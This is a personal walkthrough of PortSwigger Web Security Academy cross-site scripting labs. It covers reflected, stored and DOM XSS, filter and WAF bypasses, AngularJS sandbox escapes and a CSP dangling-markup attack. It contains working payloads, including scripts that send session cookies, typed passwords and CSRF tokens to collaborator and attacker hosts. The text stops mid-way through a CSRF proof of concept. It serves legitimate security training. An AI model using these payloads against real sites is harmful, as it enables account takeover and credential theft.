Cross Site Scripting (XSS) Vulnerabilities
This note covers Cross-Site Scripting (XSS) and its practical exploitation through PortSwigger labs. It explains the theory behind reflected, stored, and DOM-based XSS, details how browsers interpret untrusted input in different contexts (HTML, attributes, JavaScript, and URLs), and demonstrates exploitation techniques with payload examples. The note also documents context-specific bypasses, CSP circumvention, cookie theft, and data exfiltration methods, alongside mitigation strategies such as output encoding, CSP enforcement, and input validation—serving as a complete reference for both offensive and defensive XSS understanding.
Theroy
There are three main types of XSS attacks. These are:
- Reflected XSS, where the malicious script comes from the current HTTP request.
- Stored XSS, where the malicious script comes from the website’s database.
- DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.
Labs from PortSwigger Academy
🟩🟩APPRENTICE LAB🟩🟩
Lab 1: Reflected XSS into HTML context with nothing encoded
This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.
To solve the lab, perform a cross-site scripting attack that calls the alert function.
vulnerable search request:
1
https://0a6c00260467044d85d8ea36004700cc.web-security-academy.net/?search=<sushil>
- passed search string is reflected
- Viewing page source reveals, special character are not encoded.
xss payload
1
<script>alert(0)</script>
page source:
1
<h1>0 search results for '<script>alert(0)</script>'</h1>
Lab 2: Stored XSS into HTML context with nothing encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the blog post is viewed.
vulnerable request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /post/comment HTTP/2
Host: 0aa50063043583d680b40354005e007c.web-security-academy.net
Cookie: session=Hs14etAGsOW5T6yPJxXRSBJuMPvAX9d6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://0aa50063043583d680b40354005e007c.web-security-academy.net
Referer: https://0aa50063043583d680b40354005e007c.web-security-academy.net/post?postId=6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=qaU40ssl7cVcMa4USawwEPDtR1FEyy1N&postId=6&comment=<thisiscomment>&name=<thisisname>&[email protected]&website=
page source:
1
2
3
4
5
6
7
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <thisisname> | 29 October 2025
</p>
<p><thisiscomment></p>
<p></p>
</section>
name is encoded but comment section is not encoded
xss payload
1
<script>alert(0)</script>
page source:
1
2
3
4
5
6
7
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <thisisname> | 29 October 2025
</p>
<p><script>alert(0)</script></p>
<p></p>
</section>
Lab 3: DOM XSS in document.write sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.
To solve this lab, perform a cross-site scripting attack that calls the alert function.
vulnerable request:
1
https://0a63001e04a7ce8981929d79001c00da.web-security-academy.net/?search=<sushil>
The passed value is used in two places.
1
2
3
4
<section class=blog-header>
<h1>1 search results for '<sushil>'</h1>
<hr>
</section>
- properly encoded here.
next is:
1
<img src="/resources/images/tracker.gif?searchTerms=<sushil>">
due to the use of following script.
1
2
3
4
5
6
7
8
9
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>
which means, the passed search parameter is used in <img> tag without encoding.
XSS Payload
1
" onload=alert(1)><"
this makes the final implemented script as:
1
<img src="/resources/images/tracker.gif?searchTerms=" onload=alert(1)><"">
Lab 4: DOM XSS in innerHTML sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.
To solve this lab, perform a cross-site scripting attack that calls the alert function.
vulnerable code:
1
2
3
4
5
6
7
8
9
10
11
12
13
<section class=blog-header>
<h1><span>0 search results for '</span><span id="searchMessage"></span><span>'</span></h1>
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
<hr>
</section>
explaination:
| Statement | Explanation |
| ——————————————————————————— | ——————————————– |
| var query = (new URLSearchParams(...)).get('search') gets the value of search | From URL ?search=hello → query = "hello" |
| if(query) checks if search exists | Prevents error if no search |
| doSearchQuery(query) passes "hello" to function | Function receives "hello" |
| innerHTML = query puts "hello" inside <span id="searchMessage"> | Replaces content |
In conclusion, what ever is passed in to search query, it is passed and filled inside span tag.
1
<span>1 search results for '</span><span id="searchMessage">hello</span><span>'</span>
XSS payload for span tag.
1
<img src=x onerror=alert('XSS')>
<script>alert(0)</script> will NOT work when injected into a <span> via innerHTML.
Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source
This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library’s $ selector function to find an anchor element, and changes its href attribute using data from location.search.
To solve this lab, make the “back” link alert document.cookie.
vulnerable code:
1
2
3
4
5
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
explanation of code:
- this jQuery is fired once the site is fully loaded.
$('#backLink')–> jQuery searches the DOM for an element withid="backLink"(new URLSearchParams(window.location.search)).get('returnPath')–> extracts the value of returnPath from url.$('#backLink').attr("href", {value from above step})–><a id="backLink">element now receives a new href.
So, in conclusion, this code takes the value of returnPath from the URL and sets it as the href (destination) of the <a id="backLink"> link.
before:
<a id="backLink" >Back</a>
after:
<a id="backLink" href="/">Back</a>
xss payload:
1
javascript:alert(document.cookie)
final form of html after xss injection.
1
<a id="backLink" href="javascript:alert(document.cookie)">Back</a>
Why "</a> <script>alert(0)</script><" wont work.
- You are not injecting into .innerHTML or .html()
- You are setting the href attribute
- So the browser treats your payload as a URL, not HTML
Lab 6: DOM XSS in jQuery selector sink using a hashchange event
This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery’s $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.
To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.
vulnerable code:
1
2
3
4
5
6
7
< script >
$(window).on('hashchange', function() {
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script>
code explanation:
- when URL hash changes (e.g.
#POST1), automatically scroll to the blog post with matching<h2>title. $(window).on('hashchange', function() { ... });–>listens for change in URL hashwindow.location.hash → "#Hello-World"window.location.hash.slice(1) → "Hello-World"decodeURIComponent("Hello%20World") → "Hello World"$('section.blog-list h2:contains("Hello World")')- jQuery selectory finds
<h2>tags - inside
<section class="blog-list"> - Whose text contains
"Hello World"
- jQuery selectory finds
var post = $('...');–> stores the jQuery object of the matching<h2>tagif (post) post.get(0).scrollIntoView();–> if there exist data in post variable then it scrolls to that part.
In conclusion, it captures the content of # from URL (on change), finds if that content presence in <h2> tag inside blog-list section. after that it scrolls to that section.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
URL: yoursit.com/blog#My%20Post
↓
1. hashchange fires
↓
2. hash = "#My%20Post"
↓
3. slice(1) = "My%20Post"
↓
4. decode = "My Post"
↓
5. $('section.blog-list h2:contains("My Post")')
↓
6. post = [ <h2>My Post</h2> ]
↓
7. if(post) → true
↓
8. post.get(0).scrollIntoView()
↓
🏆 PAGE SCROLLS TO "My Post"
XSS payload
1
2
3
4
5
6
visit
https://0a9c001b03b0c2898153b10200920076.web-security-academy.net/#random
and then
https://0a9c001b03b0c2898153b10200920076.web-security-academy.net/#<img src=1 onerror=print()>
how this payload works.
- Browser detects the hash change from
randomto<img src=1 onerror=alert(1)>so,on('hashchange')is triggered decodeURIComponent(window.location.hash.slice(1))captures, slices and URL decodes the value after#- Final selector:
$('section.blog-list h2:contains(<img src=1 onerror=alert(1)>)') - jQuery’s Sizzle engine tries to evaluate the selector. It misinterprets the
<img...>as HTML to inject into a temporary DOM context to “search” for matches.
Sizzle’s internal process (BUGGY behavior):
- Parse the selector: h2:contains
(<img src=1 onerror=alert(1)>) - **Sees
and thinks:** _"Oh! This looks like HTML!"_ - Instead of treating it as a literal string, Sizzle creates a temporary DOM with: ` <div><img src=1 onerror=print(1)></div>`
- Tries to “search” for
<h2>elements that contain this HTML. and XSS executes during this temporary DOM creation! This is due to vulnerability in jQuery Version.
For the xss payload to trigger there need to be hashchange. For victim this can be achieved using iframe
1
2
<iframe src="https://0a1d00ed04e0bca48155436000970031.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
Lab 7: Reflected XSS into attribute with angle brackets HTML-encoded
This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.
for search term <sushil>
1
2
3
4
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search value="<sushil>">
<button type=submit class=button>Search</button>
</form>
- both
< and >are url encoded, but the supplied data is reflected inside attribute.
for search term "sushil"
1
2
3
4
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search value=""sushil"">
<button type=submit class=button>Search</button>
</form>
"is not encoded.
XSS payload by introducing new attribute.
1
2
3
4
5
6
7
8
" onfocus="alert(1)
or
" onfocus="alert(1)" autofocus"
or
"onmouseover="alert(1)
Lab 8: Stored XSS into anchor href attribute with double quotes HTML-encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.
vulnerable point.
1
2
3
4
5
6
7
8
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"><a id="author" href="http://<"thisiswebsite">.com"><"thisisname"></a>
| 29 October 2025
</p>
<p><"thisiscomment"></p>
<p></p>
</section>
passed website url’s " is HTML-encoded
xss payload
1
javascript:alert()
1
2
3
4
5
6
7
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"><a id="author" href="javascript:alert()">asdfas</a> | 29 October 2025
</p>
<p>a</p>
<p></p>
</section>
Lab 9: Reflected XSS into a JavaScript string with angle brackets HTML encoded
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
when search parameter is passed as <"sushil">
1
2
3
4
<script>
var searchTerms = '<"sushil">';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
from the passed value, < and > are HTML encoded, but ' and " are not encoded.
XSS Payload
1
'; alert(0); var dummy = '
this payload will edit the script tag as:
1
2
3
4
<script>
var searchTerms = ''; alert(0); var dummy = '';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
alternative xss payload:
1
2
3
'-alert(1)-'
1
2
3
4
<script>
var searchTerms = ''-alert(1)-'';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
other payload
1
';alert(1)//asdfasdf
🟦🟦PRACTITIONER LABS🟦🟦
Lab 10: DOM XSS in document.write sink using source location.search inside a select element
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.
Vulnerable Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
< script >
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if (store) {
document.write('<option selected>' + store + '</option>');
}
for (var i = 0; i < stores.length; i++) {
if (stores[i] === store) {
continue;
}
document.write('<option>' + stores[i] + '</option>');
}
document.write('</select>'); <
/script>
code explanation:
var store = (new URLSearchParams(window.location.search)).get('storeId');–> gets the value of storeId from the URL.document.write('<select name="storeId">');–> start writing the dropdown HTMLif (store) { document.write('<option selected>' + store + '</option>'); }–> if store exist , adds pre-selected option with the valueselected→ this option appears chosen by default
forloop → Add remaining options-
- Loops through all stores
- Skips the one already added (if store exists)
- Adds each as an
<option>
-
document.write('</select>');–> closes the dropdown
Final Output Example: Example 1: URL = ?storeId=Paris
1
2
3
4
5
<select name="storeId">
<option selected>Paris</option>
<option>London</option>
<option>Milan</option>
</select>
OUTPUT
1
2
3
4
5
<select name="storeId">
<option selected><script>alert('XSS')</script></option>
<option>London</option>
...
</select>
XSS Payload:
1
<script>alert('XSS')</script>
In URL:
1
https://0ae70062046081df801da8be005000b8.web-security-academy.net/product?productId=17&storeId=<script>alert('XSS')</script>
Lab 11: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.
To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.
- use passed
< and >are html encoded - angular js is used
ng-appattribute is added to body element. This means in anywhere within the body HTML element we are able to execute Javascript using{{ }}
but we cannot use {{alert()}} or {{print()}} because angularJS javascript sandbox doesnot give us access to these type of functions with in double curly braces.
XSS payload:
1
{{$on.constructor('alert(1)')()}}
Watch this to better understand: https://youtu.be/P7_JPsX1ses
Lab 12: Reflected DOM XSS
This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.
To solve this lab, create an injection that calls the alert() function.
there is use of searchResults.js
viewing the js file reveals the use of eval function

after we do search, there exits additional request which gives json response

combining everything.
from the request /search-results?search=sushil the response value searchTerm is passed onto the eval function of searchResults.js
JSON response is escaping "
The main idea here is to get something like this in eval function;
1
eval('var searchResultsObj = "test"; alert(0);');
so we need a way to escape the " "
" is escaped
\ is escaping \ so " is free
XSS Payload
1
\" };alert(0);//
Lab 13: Stored DOM XSS
This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function.
XSS Payload:
1
2
<p></p><img src=x onerror=alert('XSS')><p></p>
Actual method:
- there exist
resources/js/loadCommentsWithVulnerableEscapeHtml.js - this js file is responsible for HTML encoding
<and>
there exist a loophole, it only encodes the 1st instances of the angle brackets

which means, we can use this payload to get xss
1
<><img src=1 onerror=alert(1)>
Lab 14: Reflected XSS into HTML context with most tags and attributes blocked
This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.
To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.
when trying common xss payloads it gives Tag is not allowed.
1
<img src=1 onerror=print()>
lets bruteforce the tags. Get tags from here
two tags <body> and <custom tags> are allowed
lets move on with <body> tag. next step is to find which events are allowed
there a lot of allowed events. since we need to trigger xss without victim’s interaction, we need to choose proper event tag. onresize looks easy one.
XSS payload
1
<iframe src="https://0af1006103fd822580ec5d9000b100a4.web-security-academy.net/?search=<body onresize='print()'>" onload=this.style.width='500px'>
Lab 15: Reflected XSS into HTML context with all tags blocked except custom ones
This lab blocks all HTML tags except custom ones.
To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.
same as previous lab. only difference is all tags are blocked except custom ones.
XSS Payload
1
2
3
<script>
lcoation = "https://0a6000590315195c81f8d93500c900a7.web-security-academy.net/?search=<xss autofocus tabindex=1 onfocus=alert(document.cookie)></xss>"
</script>
location = "..."is a special assignment in JavaScript that immediately redirects the browser to the given URL.
Lab 16: Reflected XSS with some SVG markup allowed
This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.
To solve the lab, perform a cross-site scripting attack that calls the alert() function.
Same as previous 2 labs:
working xss payload;
1
<svg><animatetransform onbegin=alert(1) attributeName=transform>
Lab 17: Reflected XSS in canonical link tag
This lab reflects user input in a canonical link tag and escapes angle brackets.
To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.
To assist with your exploit, you can assume that the simulated user will press the following key combinations:
ALT+SHIFT+XCTRL+ALT+XAlt+X
Please note that the intended solution to this lab is only possible in Chrome.
A canonical tag (also known as a rel=”canonical” link tag) is an HTML element used in the <head> section of a webpage to specify the preferred (canonical) version of a page when multiple URLs display the same or nearly identical content.
Syntax:
1
<link rel="canonical" href="https://example.com/preferred-page-url" />
Example Scenario
You have the same product page accessible via multiple URLs:
https://example.com/shoes/nike-airhttps://example.com/shoes/nike-air?color=redhttps://example.com/shoes/nike-air?utm_source=newsletterThis tells Google: “Index and rank the clean URL, ignore the others.”
XSS Payload
1
https://0ada0095031f629782ab3fb8001d003f.web-security-academy.net/?sushil=test%27%09onclick=%27alert(1)%27%09accesskey=%27x%27
- space was url encoded so url encoded version of new line
%09is used
Lab 18: Reflected XSS into a JavaScript string with single quote and backslash escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.
To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
lets say we search query is <sushil>, it is reflected as

when ';alert(0); is supplied, ' is escaped

XSS Payload
1
</script><script> alert() </script>
Lab 19: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.
To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
Findings
- Angle brackets –> HTML encoded
- Double quotes –> HTML encoded
- Single quotes –> Escaped
for search query <'sushil'> angle brackets are encoded and ' are escaped.
XSS Payload
1
\';alert(0);//
Lab 20: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.
we are interested in onclick portion
1
onclick="var tracker={track(){}};tracker.track('http://<"thisiswebsite">.com');"
trying to make this
1
onclick="var tracker={track(){}};tracker.track('http://test'-alert(0)-'');"
due to encoding and escaping, it becomes

1
onclick="var tracker={track(){}};tracker.track('http://test\'-alert(0)-\'');"
trying additional \ to bypass ' escape fails.

lets bypass 'escape using its HTML entity version
' –> HTML Entity –> '
XSS PAYLOAD
1
http://test'-alert(0)-'
lets understand the flow of xss
after injection:
1
onclick="var tracker={track(){}}; tracker.track('http://test'-alert(0)-'');"
| Part | What Happens |
|---|---|
'http://test' |
→ String |
- |
→ Subtraction operator |
alert(0) |
→ Runs immediately, shows popup, returns undefined |
- |
→ Another subtraction |
'' |
→ Empty string → 0 in math |
Why this works: The key trick
| Trick | Why It Works |
|---|---|
-alert(0)- |
Uses mathematical subtraction to inject executable code |
| No need to close quotes | You’re already inside a string — ' is just a character |
alert(0) returns undefined |
Perfect for math: string - undefined = NaN → no error |
| No syntax break | The expression is grammatically valid JS |
1
2
3
4
5
6
tracker.track( 'http://test' - alert(0) - '' );
↑ ↑ ↑ ↑ ↑
| | | | |
String literal | Runs! | Empty string → 0
| |
Subtraction Subtraction
Lab 21: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.
search query is passed with unicode escaped.
- string has been reflected inside a JavaScript template string.
First lets understand ` Template Literals in JavaScript
Basic Syntax
| Type | Example | Result |
|---|---|---|
| Regular string | `Hello World` |
"Hello World" |
| With variables | `Hello ${name}` |
"Hello John" (if name = "John") |
| Multi-line | `Line 1<br>Line 2` |
"Line 1\nLine 2" |
Expression Interpolation
| Example | Result |
|---|---|
`2 + 2 = ${2 + 2}` |
"2 + 2 = 4" |
`User: ${user.name}, Age: ${user.age}` |
"User: John, Age: 30" |
`Price: $${price * quantity}` |
"Price: $150" |
`${alert('XSS!')}` |
Runs alert() and returns "undefined" |
XSS Payload
1
${alert(0)}
Lab 22: Exploiting cross-site scripting to steal cookies
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.
Finding out the XSS vuln:
user supplied data are passed as above. comment section look vulnerable.
XSS Payload.
1
</p><script>alert(0)</script><p>
now editing the xss payload to capture cookie.
1
</p><script>fetch('https://0abnouxdqdlez91tdv4pwntpmgs7gx4m.oastify.com/?cookie='+document.cookie);</script><p>
In Collaborator, we will receive session cookie like this:
use that cookie and we are logged in.
Lab 23: Exploiting cross-site scripting to capture passwords
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.
same as before, xss vulnerable field = comment
checking xss;
1
</p><script>alert(0)</script><p>
editing payload to capture password. previous cookie stealing method wont work here.
1
2
3
4
5
6
7
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://0abnouxdqdlez91tdv4pwntpmgs7gx4m.oastify.com',
{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Explanation:
- we are setting up username and password fields.
onchange–> js runs when the password field loses focus(after typing)if(this.value.lenght–> checks if the password value is empty or not. if not then moves to next step.fetch–> sends post request to out controlled serverno-cors–> is making this request send to attacker site and not care or not take the response of that requestbody:username.value+':'+this.value–> Sends:username:password
after commenting, we get this:

username and password fields.
and we should get username:password in collaborator request:

Lab 24: Exploiting XSS to bypass CSRF defenses
This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.
You can log in to your own account using the following credentials: wiener:peter
- Same as before, Comment is vulnerable to XSS. Session is set as
HttpOnlytrue so we cannot steal the cookie.
Checkout my notes on CSRF if you are new.
request for changing email:
1
2
3
4
5
6
7
POST /my-account/change-email HTTP/2
Host: 0afa004d03ce83c7800b03bf00aa0072.web-security-academy.net
Cookie: session=lD9Fi6vNWkeKAZCoIpPj4hmokXatZWxW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
email=test%40gmail.com&csrf=1gZODqCRyGfJjXEpO36lSnYPWtlEhZFX
Now we need to think of a way to get the csrf token.
csrf token is present in /my-account endpoint
lets craft a simple xss payload that fetches /my-account and extracts the csrf token and sends to our controlled site (burp collaborator)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
fetch('https://0afa004d03ce83c7800b03bf00aa0072.web-security-academy.net/my-account')
.then(r => r.text())
.then(html => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const csrf = doc.querySelector('input[name="csrf"]').value;
fetch('https://110ofvoehecfqasu4wvqnokqdhj870vp.oastify.com/steal', {
method: 'POST',
mode: 'no-cors',
body: 'csrf=' + encodeURIComponent(csrf)
});
});
</script>
got the csrf. Now using burpsuite > Engagement Tool > generate csrf poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<body>
<form action="https://0afa004d03ce83c7800b03bf00aa0072.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="dollarboysushil@gmail.com" />
<input type="hidden" name="csrf" value="DHcbjCQ1IPac9oNtv3ixyLseyvFQ1Nns" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
Lab 25: Reflected XSS with AngularJS sandbox escape without strings
This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.
To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function.
Passed search query <"sushil"> is interpreted as above.
1
2
3
4
5
6
7
<script>
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '<"sushil">';
$scope.value = $parse(key)($scope.query);
});</script>
Easy explanation of the code:
- It creates a box (
$scope.query) to hold data. - It puts a dangerous string (<"sushil">) into that box under the name search.
- Then it reads that value back using
$parse. What is $parse? - $parse is like a magic reader.
- It can read values from objects or even run code if the input is tricky.
- Normally safe… but can be abused.
1
$parse(key)($scope.query)
→ This says: “Run whatever key is as an expression!”
If key is… |
Then $parse(key)(...) does… |
|---|---|
'search' |
Gets the value of query.search |
'user.name' |
Gets query.user.name |
'search + $eval("alert(1)")' |
Runs alert(1)! |
Working payload from here.
1
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
explanation of code:
PART 1:
toString().constructor.prototype.charAt = [].join;.charAtA method that gets a character from a string=[].joinjoin = turns array into string(like [a,b] → "a,b")- This piece of code replaces
charAtwithjoin, now when something calls.charAt(), it actually runs.join()
In angular js sandbox, input is checked using .charAt , breaking whole input into character. Each character is checked if its malicious or not. Using above function, we are effectively destroying the checking function.
PART 2:
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)orderBycan run a function (eg:alert(0))fromCharCode(120,61,97,108,101,114,116,40,49,41)–> the numbers here are decimal representation ofx=alert(1), sofromCharCodefunction if converting decimal to ascii
Final Magic (How It Becomes alert(1))
toString().constructor→ Function.fromCharCode(...)→ builds string:"x=alert(1)"orderBytries to sort[1,2]→ calls.charAton each- But
.charAtis now .join → so it joins the array - Angular sees
x=alert(1) → assignsx = alert(1) x()→ runsalert(1) → POPUP
Works Only In:
- AngularJS < 1.6 (sandbox was removed in 1.6+)
?search=1&2%2b2=1 –> ?search=1&2+2=1 <–>(%2b = +)( url decoded)
$scope.value = $parse(key)($scope.query);–>$parse("search=1&2+2=1")($scope.query)
AngularJS $parse is SUPER SMART:
- Normal: $parse(“search”) → gets query.search
- Magic: $parse(“2+2”) → calculates 4!
- Your case: $parse(“search=1&2+2=1”) → evaluates the whole expression
WHY =1 is used
$parse("search=1&2+2=1")($scope)
query.search = 1→ ignored (not used)2+2=1→ tries to assign → fails, but returns 4- Final result = 4 → shown on page!
FINAL XSS Payload
1
https://0a2e002403f863ec80e903a100dc0072.web-security-academy.net/?search=1&toString%28%29%2Econstructor%2Eprototype%2EcharAt%3D%5B%5D%2Ejoin%3B%20%5B1%2C2%5D%7CorderBy%3AtoString%28%29%2Econstructor%2EfromCharCode%28120%2C61%2C97%2C108%2C101%2C114%2C116%2C40%2C49%2C41%29=1
Lab 26: Reflected XSS protected by very strict CSP, with dangling markup attack
This lab uses a strict CSP that prevents the browser from loading subresources from external domains.
To solve the lab, perform a form hijacking attack that bypasses the CSP, exfiltrates the simulated victim user’s CSRF token, and uses it to authorize changing the email to [email protected].
You must label your vector with the word “Click” in order to induce the simulated user to click it. For example:
<a href="">Click me</a>
You can log in to your own account using the following credentials: wiener:peter
Lets understand Dangling Markup Attack
“Dangling” = unfinished / hanging
“Markup” = HTML tags like
Real Example (Step-by-Step)
1
<input type="text" name="search" value="USER_INPUT_HERE">
No escaping of “ or >
STEP 1: "><script>alert(1)</script> –> Blocked by filter or CSP
STEP 2: "><img src='//attacker.com/log?
final html becomes
1
2
<input type="text" name="search" value=""><img src='https://attacker.com/log?
[everything after this line gets added to the src URL]
lets say page continues with secret data:
1
2
3
<input required type="hidden" name="csrf" value="n79TyhEyRPSLwFF7mzlzcvxw4I2YdeCn">
<button class='button' type='submit'> Update email </button>
→ Browser keeps reading until it finds the next '
The request it will send to the attacker site will be like this (in URL encoded form):
1
2
https://attacker.com/log?<input required type="hidden" name="csrf" value="n79TyhEyRPSLwFF7mzlzcvxw4I2YdeCn">
<button class=
Hence we get the sensitive csrf token.
lets implement this theory
STEP 1: Finding point XSS Vulnerability
https://0ae3004703c86175806d0322003000b0.web-security-academy.net/my-account?id=wiener
This endpoint my-account?id=wiener shows account information. When we pass additional parameter email, it pre fills the email in update email section.

if we pass this value " ><script>alert(0)</script>

1
2
3
4
5
6
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="" ><script>alert(0)</script>">
<input required type="hidden" name="csrf" value="POjdkGFeQub5813k3VlnptTlvZlDu1yn">
<button class='button' type='submit'> Update email </button>
</form>
editing form to send data to our server:
1
2
"></form><form class="login-form" name="dollarboysushli" action="https://5lrxq3619xtqeq165s0ujkbt0k6bu2ir.oastify.com/csrf" method="GET">
<button class='button' type='submit'>Click me</button>
Explanation:
- We are creating new form which sends the data to our controlled server.
- The data present inside our newly created form is
csrfvalue. - So, it sends get request with the
csrfvalue to our server
Now sending this to victim.
1
2
3
<script>
location = "https://0ae3004703c86175806d0322003000b0.web-security-academy.net/my-account?&email=%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name=%22dollarboysushli%22%20action=%22https://5lrxq3619xtqeq165s0ujkbt0k6bu2ir.oastify.com/csrf%22%20method=%22GET%22%3E%3Cbutton%20class=%27button%27%20type=%27submit%27%3EClick%20me%3C/button%3E"
</script>
We now have csrf token.
Using burp pro we can create CSRF poc in seconds.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
